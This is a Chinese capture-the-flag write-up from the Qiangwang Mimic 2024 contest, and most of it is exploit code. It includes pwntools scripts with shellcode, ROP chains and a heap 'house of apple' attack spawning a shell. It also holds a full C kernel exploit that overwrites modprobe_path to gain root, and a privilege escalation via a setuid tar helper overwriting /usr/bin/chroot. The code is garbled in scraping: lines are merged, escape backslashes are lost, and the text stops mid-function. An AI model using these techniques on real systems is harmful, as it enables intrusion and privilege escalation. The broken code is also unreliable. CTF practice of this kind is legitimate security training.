强网拟态2024 Writeup

admin 2024年10月22日21:17:29评论26 views字数 28393阅读94分38秒阅读模式
强网拟态2024 Writeup

本次强网拟态 2024,我们Polaris战队排名第10。

Crypto

XOR

data = "0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914"key = "mimic"
# 将十六进制字符串转为字节byte_data = bytes.fromhex(data.replace(' ', ''))byte_key = key.encode()
# 创建一个与数据等长的密钥流key_stream = (byte_key * (len(byte_data) // len(byte_key) + 1))[:len(byte_data)]
# 执行异或操作xor_result = bytes([b ^ k for b, k in zip(byte_data, key_stream)])
# 转换为ASCII字符串ascii_result = xor_result.decode(errors='replace')  # 使用errors='replace'来处理无法解码的字符
print(ascii_result)

Pwn

ezcode

套json的直接shellcode,限制长度0x16,先实现0x16字节内的mprotect+read,后续写orw_shellcode

from pwn import *  import jsoncontext(log_level='debug',os='linux',arch='amd64')pwnfile = './vuln'io=process(pwnfile)#io = remote()elf = ELF(pwnfile)      libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#libc = ELF("./libc.so.6")
shellcode='''sal edi,12mov dx,7mov ax,10syscall
cdqxor eax,eaxmov esi,ecxxor edi,edisyscall'''
shellcode1 = asm(shellcode)print("len-->",len(shellcode1))payload1 = {  "shellcode": shellcode1.hex()}
io.sendlineafter("Please enter your input:",json.dumps(payload1))
shellcode = asm('''    mov rdi,0x999800d    xor esi,esi    xor rdx,rdx    mov rax,2    syscall        mov rdi,rax    mov rsi,0x9998000+0x300    mov edx,0x40    xor eax,eax    syscall        mov edi,1    mov rsi,0x9998000+0x300    mov rax,1    syscall    ''')
io.sendline(b'./flagx00x00x00'+shellcode)
io.interactive()

signin_revenge

栈溢出,no pie, no canary,构造ROP 泄露地址然后orw

from pwn import *    context(log_level='debug',os='linux',arch='amd64')pwnfile = './vuln'#io=process(pwnfile)
io=remote("pwn-16255a8951.challenge.xctf.org.cn", 9999, ssl=True)elf = ELF(pwnfile)      libc = ELF("./libc.so.6")
def debug():  gdb.attach(io)  pause()
pop_rdi = 0x0000000000401393
puts_got = elf.got['puts']puts_plt = elf.plt['puts']main_adr = elf.symbols['main']#debug()pay = b'a'*0x108+flat(pop_rdi,puts_got,puts_plt,main_adr)
io.sendlineafter("lets move and pwn!n",pay)
puts_adr = u64(io.recvuntil("x7f")[-6:].ljust(8,b'x00'))libc_base = puts_adr-libc.sym['puts']
pop_rdx = libc_base + 0x0000000000142c92pop_rsi = libc_base + 0x000000000002601fpop_rbp = libc_base + 0x00000000000226c0pop_rax = libc_base + 0x0000000000036174leave_ret = 0x4012EEread = 0x04012D6   #0x130bss = 0x404000+0x800flag_adr= bss+0x98
op = libc_base + libc.symbols['open']re = libc_base + libc.symbols['read']wr = libc_base + libc.symbols['write']
pay = b'a'*0x100+p64(bss-8)+flat(pop_rax,bss,read)io.sendafter("lets move and pwn!n",pay)#debug()orw = flat(pop_rdi,flag_adr,pop_rsi,0,op,pop_rdi,3,pop_rsi,flag_adr+0x200,pop_rdx,0x100,re,pop_rdi,1,pop_rsi,flag_adr+0x200,pop_rdx,0x40,wr)+b'./flagx00'
io.sendline(orw)  
io.interactive()

QWEN

强网拟态2024 Writeup

可以越界写到 memu 指针,和 0x20 字节。

然后是利用 后门 读 /proc/self/maps 获取内存信息,通过 libc_base 拿到两个 gadget

0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret

0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret

劫持 menu 指针为 pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret,跳到 read 多写的 0x20 字节,执行 system("/bin/sh") 获取 shell


exp

from pwn import *
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------context(os='linux', arch='amd64', log_level='debug')p = remote("pwn-bc7e9f0275.challenge.xctf.org.cn", 9999, ssl=True)#p = process('pwn1')elf = ELF('pwn1')libc = ELF('libc.so.6')#debug('b *$rebase(0x1022)n')for i in range(5):  sla(b'xbcx89xefxbcx9a', str(i) + ' 0')pl = b'a'*0x8 + p16(0x1508)sa(b'say?', pl)sla(b'game [Y/N]', b'N')sla(b'xbcx89xefxbcx9a', '111 111')sla(b'administrator keyn', str(0x6b8b4567))file_name = b'/proc/self/maps'sla(b'logged in!n', file_name)rl(b'The debugging information is as follows >>n')pro_base = int(r(12), 16)rl(b'libc.so.6n')libc_base = int(r(12), 16) - 0x1e7000lg('pro_base', pro_base)lg('libc_base', libc_base)for i in range(5):  sla(b'xbcx89xefxbcx9a', str(i) + ' 0')# 0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret# 0x00000000000d10be : xor eax, eax ; add rsp, 8 ; retrdi = libc_base + 0x000000000002164fsystem, binsh = get_sb()ret = libc_base + 0x00000000000008aaone_gadget = libc_base + 0x000000000004ee21pl = p64(libc_base + 0x00000000000d10be) + p64(one_gadget) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)sa(b'say?', pl)sla(b'game [Y/N]', b'N')sla(b'xbcx89xefxbcx9a', '111 111111111111111111111')lg('pro_base', pro_base)lg('libc_base', libc_base)#pause()
inter()

然后是提权。

靶机上的 pwn2 可以进行 tar 解压,拥有 s 权限,并且 -x 如果指向一个不存在的文件,可以进行文件创建和解压,利用该功能进行 tar 伪造,进行文件解压覆写。

比如

/home/pwn2 -x test.tar

就会要求输入 base64,输入本地生成的 tar 包即可

由于 docker 题目中通常利用 xinetd ,并且查看 xinetd 的配置文件,是利用 /usr/bin/chroot 进行 root 到 ctf 用户的切换,所以修改 /usr/bin/chroot 为 chmox 777 /home/ctf/flag ,同时用另外终端 nc 后,触发 chroot 指向,即可修改 flag 权限读取

signin

add函数中有一个0_o函数里是跟signin_revenge相同的栈溢出,直接利用这个打orw即可

from pwn import *import ctypesfrom ctypes import *context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'libc = ELF('./libc.so.6')

#libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")#libc.srand.argtypes = [ctypes.c_uint]

li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1if debug:    r = remote("pwn-c9b9d9e4e9.challenge.xctf.org.cn", 9999, ssl=True)else:    r = process(file_name)
libcc = cdll.LoadLibrary('./libc.so.6')libcc.srand(libcc.time(0))elf = ELF(file_name)
def dbg():    gdb.attach(r)    pause()  def dbgg():    raw_input()
r.send('rbp')for i in range(100):    a= libcc.rand()%100+1    r.sendafter('Input the authentication code:n',p64(a))r.sendafter('>> n', p32(1))#dbg()r.sendafter('Index: n', p32(0))
r.sendafter('Note: n', b'a'*0x10)sleep(0.5)r.send(b'a'*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013C0))
libc_base = u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))-libc.sym['puts']openn =  libc_base+libc.sym['open']read =  libc_base+libc.sym['read']write =  libc_base+libc.sym['write']rdi = libc_base + 0x0000000000023b6arsi = libc_base + 0x000000000002601frdx = libc_base + 0x0000000000142c92print(hex(libc_base))r.send(b'a'*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013C0))r.send('flag')sleep(0.5)r.send(b'a'*0x100+p64(0x404200)+p64(0x4013CF))sleep(0.5)r.send(b'a'*0x100+p64(0x404300)+p64(0x4013CF))sleep(0.5)#dbg()r.send(b'flagx00x00x00x00'+p64(rdi)+p64(0x404200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(0x4041a0)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(write))
r.interactive()

guest book

菜单堆程序中有uaf且申请大小限制为0x4ff以上,没有其他限制,那么直接套板子打house of apple即可

from pwn import *import syscontext.log_level='debug'context.arch='amd64'#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('./libc.so.6')flag = 1
if flag:    p = remote("pwn-ca43b7414f.challenge.xctf.org.cn", 9999, ssl=True)else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()leak = lambda name,addr :log.success(name+"--->"+hex(addr))def dbg():    gdb.attach(p)    pause()def cmd(choice):    ru(">")    sl(str(choice))
def add(index,size):    cmd(1)    ru("index")    sl(str(index))    ru("size")    sl(str(size))
def edit(index,content):    cmd(2)    ru("index")    sl(str(index))    ru("content")    sd(content)
def delete(index):    cmd(3)    ru("index")    sl(str(index))
def show(index):    cmd(4)    ru("index")    sl(str(index))

add(0,0x520)add(1,0x500)add(2,0x510)
delete(0)add(3,0x568)delete(2)
show(0)mainarean = u64(ru(b'x7f')[-6:].ljust(8,b'x00'))libc_base=mainarean-0x21b110
edit(0,b'A'*0x10)show(0)ru(b'A'*0x10)heap_base=u64(p.recv(6).ljust(8,b'x00'))-0x290
edit(0,p64(mainarean)*2)
free_hook = libc_base+libc.sym['__free_hook']ogs=[0xe3afe,0xe3b01,0xe3b04]og=libc_base+ogs[1]puts_io_all = libc_base + libc.sym['_IO_list_all']  wfile = libc_base + libc.sym['_IO_wfile_jumps']addr=libc.symbols['puts']+libc_basefake_io_addr = heap_base + 0x1720lock =0x3ed8b0+libc_basepop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))r12 =  libc_base + next(libc.search(asm('pop r12;ret;')))leave_ret = libc_base + next(libc.search(asm('leave;ret;')))open_addr=libc.symbols['open']+libc_baseread_addr=libc.symbols['read']+libc_basewrite_addr=libc.symbols['write']+libc_baseputs_addr=libc.symbols['puts']+libc_basesetcontext=libc_base+0x0000000000151990io_all = libc_base + libc.sym['_IO_list_all']  wfile = libc_base + libc.sym['_IO_wfile_jumps']   magic_gadget = libc_base + + 0x154ff0 +26#0x154dd0 +26# + libc.sym['svcudp_reply'] + 0x1a#edit(0,'./ctfshow_flagx00')orw_addr=heap_base+0x14b0flag_addr = heap_base+0x260sh_addr = heap_base+0x7d0system=libc_base+libc.sym['system']pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)pl+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48pl+=p64(0)*4pl+=p64(0)*3+p64(lock)pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)pl+=p64(0)*4pl+=p64(0)+p64(wfile) pl+=p64(0)*0x14+p64(fake_io_addr+0x120+0x70+0xa0-0x68)        #chunk0+0xe0pl+=p64(0)*0xd+p64(system)'''pl1=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)pl1+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48pl1+=p64(0)*4pl1+=p64(0)*3+p64(lock)pl1+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)pl1+=p64(0)*4pl1+=p64(0)+p64(wfile) pl1+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8)        #chunk0+0xe0pl1+=p64(0)*0xd+p64(system)'''#add(3)print(hex(libc_base))print(hex(heap_base))add(4,0x510)add(5,0x520)
add(6,0x558)add(7,0x558)add(8,0x548)add(9,0x548)delete(6)add(10,0x598)delete(8)edit(6,pl)edit(3,b'x00'*0x560+b'  sh;x00x00x00')add(8,0x5f0)add(9,0x540)dbg()p.sendline('5')

p.interactive()

ker

exp如下

/*Pwned by XiaozaYa (:0x40 GFP_KERNEL; 一次 double free,一次 UAF edit,close时会将 chunk置空所以等价于无限次 add  LEAK:    open-add 0x40 chunk0    第一次 free chunk0    堆喷 user_key_payload占据 chunk0    第二次 free chunk0    close-open-add堆喷占据 chunk0并修改 datalen实现越界读    利用 user_key_payload越界读去 leak kbase/koffset等信息  USMA:    释放 user_key_payload即释放 chunk0    分配 pgv占据 chunk0    利用一次 UAF edit修改 pgv[0]为 modprobe_path所在页面    USMA修改 modprobe_path即可*/#ifndef _GNU_SOURCE#define _GNU_SOURCE#endif #include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <signal.h>#include <string.h>#include <stdint.h>#include <sys/mman.h>#include <sys/syscall.h>#include <sys/ioctl.h>#include <sched.h>#include <linux/keyctl.h>//#include <ctype.h>#include <pthread.h>//#include <sys/types.h>//#include <sys/wait.h>#include <sys/socket.h>#include <linux/if_packet.h>#include <arpa/inet.h>  // 添加 htons 函数的头文件#include <net/if.h>     // 添加 if_nametoindex 函数的头文件void err_exit(char *msg){  perror(msg);  sleep(2);    exit(EXIT_FAILURE);}void info(char *msg){    printf("33[32m33[1m[+] %sn33[0m", msg);}void hexx(char *msg, size_t value){    printf("33[32m33[1m[+] %s: %#lxn33[0m", msg, value);}/*void binary_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("33[33m[*] %s:n33[0m", desc);    }    for (int i = 0; i < len / 8; i += 4) {        printf("  %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");        }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');        }        puts("");    }}*/void bind_core(int core){    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(core, &cpu_set);    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);    printf("33[34m33[1m[*] Process binded to core 33[0m%dn", core);}int key_alloc(char *description, char *payload, size_t plen){    return syscall(__NR_add_key, "user", description, payload, plen,                    KEY_SPEC_PROCESS_KEYRING);}int key_update(int keyid, char *payload, size_t plen){    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);}int key_read(int keyid, char *buffer, size_t buflen){    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);}int key_revoke(int keyid){    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);}int key_unlink(int keyid){    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);}int fd;typedef struct {  char *buf;} request;void delete(char *buf) {  request req = { .buf = buf };  if (ioctl(fd, 0x30, &req) < 0) {    err_exit("Failed to delete chunk");  }}void edit(char *buf) {  request req = { .buf = buf };  if (ioctl(fd, 0x50, &req) < 0) {    err_exit("FAILED to edit chunk");  }}void allocate(char *buf) {  request req = { .buf = buf };  if (ioctl(fd, 0x20, &buf) < 0) {    err_exit("Failed to allocate chunk");  }}void start() {  fd = open("/dev/ker", O_RDWR);  if (fd == 0) {    err_exit("FAILED to open dev file");  }}uint64_t maybe_leak[] = {    0xffffffff8236ca40,    0xffffffffc0203000,    0xffffffff82711453,    0xffffffff811b6530,    0xffffffff81d5d210,    0xffffffff81d5d240,    0xffffffff810da8f1,  0xffffffff8274c13e,    0xffffffffc0203210,  0xffffffff8236ca40,    0xffffffff81d5d250,    0xffffffff81d5d290,    0xffff888006f71198,    0xffffffffc0205000,    0xffffffff811b6530,    0xffffffffc0201000,    0xffffffff811b6530,    0xffffffff82726c9a,    0xffffffff822528e0,    0xffffffff8335d900,    0xffffffff8272d9cf,    0xffffffff82252820,    0xffffffff83301560,  0xffffffff812ecf50,  0xffffffff832af780,  0xffffffff81d5d210,  0xffffffff81d5d240,  0xffffffff84751b80,  0xffffffff810da8f1,  0xffffffff8199f0ad,    0xffffffff83301500,    0xffffffff82252820,    0xffffffff82775856,    0xffffffff82252580,};uint64_t check_leak(uint64_t addr) {  uint64_t res = -1;  for (int i = 0; i < sizeof(maybe_leak) / sizeof(uint64_t); i++) {    if (((addr&0xffffffff00000000) == 0xffffffff00000000) && ((maybe_leak[i]&0xfff) == (addr&0xfff))) {      res = addr - maybe_leak[i];      break;    }  }  return res;}void unshare_setup(void){    char edit[0x100];    int tmp_fd;    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))        err_exit("FAILED to create a new namespace");    tmp_fd = open("/proc/self/setgroups", O_WRONLY);    write(tmp_fd, "deny", strlen("deny"));    close(tmp_fd);    tmp_fd = open("/proc/self/uid_map", O_WRONLY);    snprintf(edit, sizeof(edit), "0 %d 1", getuid());    write(tmp_fd, edit, strlen(edit));    close(tmp_fd);    tmp_fd = open("/proc/self/gid_map", O_WRONLY);    snprintf(edit, sizeof(edit), "0 %d 1", getgid());    write(tmp_fd, edit, strlen(edit));    close(tmp_fd);}#ifndef ETH_P_ALL#define ETH_P_ALL 0x0003#endifvoid packet_socket_rx_ring_init(int s, unsigned int block_size,                                unsigned int frame_size, unsigned int block_nr,                                unsigned int sizeof_priv, unsigned int timeout) {    int v = TPACKET_V3;    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);       struct tpacket_req3 req;    memset(&req, 0, sizeof(req));    req.tp_block_size = block_size;    req.tp_frame_size = frame_size;    req.tp_block_nr = block_nr;    req.tp_frame_nr = (block_size * block_nr) / frame_size;    req.tp_retire_blk_tov = timeout;    req.tp_sizeof_priv = sizeof_priv;    req.tp_feature_req_word = 0;    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));    if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);}int packet_socket_setup(unsigned int block_size, unsigned int frame_size,                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);        packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);    struct sockaddr_ll sa;    memset(&sa, 0, sizeof(sa));    sa.sll_family = PF_PACKET;    sa.sll_protocol = htons(ETH_P_ALL);    sa.sll_ifindex = if_nametoindex("lo");    sa.sll_hatype = 0;    sa.sll_pkttype = 0;    sa.sll_halen = 0;    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);        return s;}// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8// size/4096 为要分配的 orderint pagealloc_pad(int count, int size) {    return packet_socket_setup(size, 2048, count, 0, 100);}void get_flag(){        system("echo -ne '#!/bin/shn/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x        system("chmod +x /tmp/x");        system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy"); // 非法格式的二进制文件        system("chmod +x /tmp/dummy");        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x        sleep(0.3);        system("cat /flag");        exit(0);}uint64_t modp = 0xffffffff831d8ce0;uint64_t koffset = -1;int evil_id = -1;int orgi_id = -1;int main(int argc, char** argv, char** envp){  bind_core(0);//  int pipe_fd[2];//  pipe(pipe_fd);//  pid_t pid = fork();////if (!pid) {  unshare_setup();  #define SPRAY_KEYS 0x80  char buf[0x1000] = { 0 };  int key_id[SPRAY_KEYS] = { 0 };  char desc[0x100] = { 0 };  int res = -1;  start();  allocate(buf);  delete(buf);  for (int i = 0; i < SPRAY_KEYS; i++) {    sprintf(desc, "XiaozaYa-%dn", i);    memset(buf, 'A', 0x40);    *(int64_t*)(buf) = i;    key_id[i] = key_alloc(desc, buf, 30);//    if (key_id[i] <= 0) {//      err_exit("Failed to key_alloc");//    }  }  delete(buf);//  for (int i = SPRAY_KEYS / 2; i < SPRAY_KEYS; i++) {//    key_revoke(key_id[i]);//    key_unlink(key_id[i]);//  }  /*  for (int i = 0; i < SPRAY_KEYS / 2; i++) {    memset(buf, 0, sizeof(buf));    key_read(key_id[i], buf, 30);    if (*(uint64_t*)buf != i) {      evil_id = *(uint64_t*)buf;      orgi_id = i;      info("hit");      binary_dump("READ DATA", buf, 30);      break;    }  }  */  sleep(1);while (1) {  memset(buf, 'B', sizeof(buf));  *(uint64_t*)(buf + 0x00) = 0;  *(uint64_t*)(buf + 0x08) = 0;  *(uint64_t*)(buf + 0x10) = 0x1000-0x40;  close(fd);  start();  allocate(buf);  for (int i = 0; i < SPRAY_KEYS; i++) {    memset(buf, 'x00', sizeof(buf));    res = key_read(key_id[i], buf, 0x1000-0x40); //    printf("[+] Read Length: %dn", res);//    binary_dump("LEAK DATA", buf, 30);    if (res > 30) {      evil_id = i;      goto HIT;    }  }}HIT://  hexx("evil_id", evil_id);  for (int i = 0; i < SPRAY_KEYS; i++) {    if (i != evil_id) {      key_revoke(key_id[i]);      key_unlink(key_id[i]);    }  }  sleep(2);  memset(buf, 'x00', sizeof(buf));  res = key_read(key_id[evil_id], buf, 0x1000-0x40);//  binary_dump("LEAK DATA", buf, res);    for (int i = 0; i < res; i+=8) {    uint64_t addr = *(uint64_t*)(buf + i);//    hexx("addr", addr);    koffset = check_leak(addr);    if (koffset != -1) {      break;    }  }  modp += koffset;//  hexx("koffset", koffset);//  hexx("modp", modp);  int nr = 0x40 / 8;  memset(buf, 'x00', sizeof(buf));  *(uint64_t*)(buf + 0x00) = modp & ~0xfff;  key_revoke(key_id[evil_id]);//  key_unlink(key_id[evil_id]);  sleep(1);  int packet_fd = pagealloc_pad(nr, 0x1000);  edit(buf);    char *page = NULL, *modprobe_path = NULL;  page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);//  if ((uint64_t)page == -1) {//    err_exit("mmap");//  }  modprobe_path = page + (modp & 0xfff);//  if (!strcmp(modprobe_path, "/sbin/modprobe")) {//    info("success");    strcpy(modprobe_path, "/tmp/x");           munmap(page, 0x1000*nr);    get_flag();//  } //} else if (pid < 0) {//  err_exit("fork");//} else {//  char buf[1] = { 0 };//  read(pipe_fd[0], buf, 1);//  puts("Debug");//  getchar();//  puts("[+] EXP NERVER END");//}  return 0;}

Re

easyre

花指令混淆,但是由于程序不大,可以动调确认逻辑,最后直接手撕即可

#include<stdio.h>
unsigned char key[] ={  0xDB, 0xD9, 0x6F, 0xEF, 0xD3, 0x73, 0xC2, 0xD2, 0x12, 0xE4,  0x97, 0x6F, 0x24, 0xD6, 0xBF, 0x72};
unsigned int* key_p=(unsigned int *)key;
#include <stdio.h>  #include <stdint.h>      void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {      unsigned int i;      uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;      for (i=0; i < num_rounds; i++) {          v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);          sum += delta;          v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
   }      v[0]=v0; v[1]=v1;  }    void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {      unsigned int i;      uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;      for (i=0; i < num_rounds; i++) {          v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);          sum -= delta;          v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);      }      v[0]=v0; v[1]=v1;  }
int main(){
   unsigned char pl[] =    {     161,227,81,152,134,86,118,73,111,107,43,129,207,206,18,150,162,112,53,60,49,98,92,241,250,119,107,170,158,109,5,190,232,36,164,248,219,35,58,11,22,32,204,3,173,181,43,169,52,159,120,29,46,185,249,158    };    decipher(0x66,pl,key_p);    decipher(0x66,pl+8,key_p);    decipher(0x66,pl+8+8,key_p);    decipher(0x66,pl+8+16,key_p);    decipher(0x66,pl+8+16+8,key_p);    decipher(0x66,pl+8+16+16,key_p);    decipher(0x66,pl+8+16+16+8,key_p);    for(int i=0;i<0x38;i++){        pl[i]=(0x3f-pl[i])&0xff;    }    for(int i=0;i<0x38;i++){        printf("%c",pl[i]);    }    printf("n");}

babyre

直接丢入ida分析,输入uuid后做aes加密,然后转二进制字符串后做一个验证,验证并不是直接比较因此有些麻烦,但可以通过爆破直接恢复,一个个字节爆破即可

#include <iostream>#include"ida.h"
__int64 __fastcall check(__int64 a1){    int v1; // r8d    int v2; // ecx    int v3; // ecx    int v5; // [rsp+8h] [rbp-38h]    int v6; // [rsp+Ch] [rbp-34h]    int v7; // [rsp+10h] [rbp-30h]    int v8; // [rsp+14h] [rbp-2Ch]    int v9; // [rsp+18h] [rbp-28h]    int v10; // [rsp+1Ch] [rbp-24h]    int v11; // [rsp+20h] [rbp-20h]    int v12; // [rsp+24h] [rbp-1Ch]    int v13; // [rsp+28h] [rbp-18h]    int v14; // [rsp+2Ch] [rbp-14h]    int v15[2]; // [rsp+30h] [rbp-10h]    int i; // [rsp+38h] [rbp-8h]    unsigned int v17; // [rsp+3Ch] [rbp-4h]
   v17 = 1;    for (i = 0; i <= 0; ++i)    {        v15[1] = *(_DWORD*)(48LL * i + a1);        v15[0] = *(_DWORD*)(48LL * i + a1 + 4);        v14 = *(_DWORD*)(48LL * i + a1 + 8);        v13 = *(_DWORD*)(48LL * i + a1 + 12);        v12 = *(_DWORD*)(48LL * i + a1 + 16);        v11 = *(_DWORD*)(48LL * i + a1 + 20);        v10 = *(_DWORD*)(48LL * i + a1 + 24);        v9 = *(_DWORD*)(48LL * i + a1 + 28);        v8 = *(_DWORD*)(48LL * i + a1 + 32);        v7 = *(_DWORD*)(48LL * i + a1 + 36);        v6 = *(_DWORD*)(48LL * i + a1 + 40);        v5 = *(_DWORD*)(48LL * i + a1 + 44);        v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & v15[1] & (v15[0] == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0);        v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & v15[0] & (v15[1] == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD*)v15 == 0LL) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0);        v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15[0] | v15[1]) == 0) & (v8 == 0) & (v6 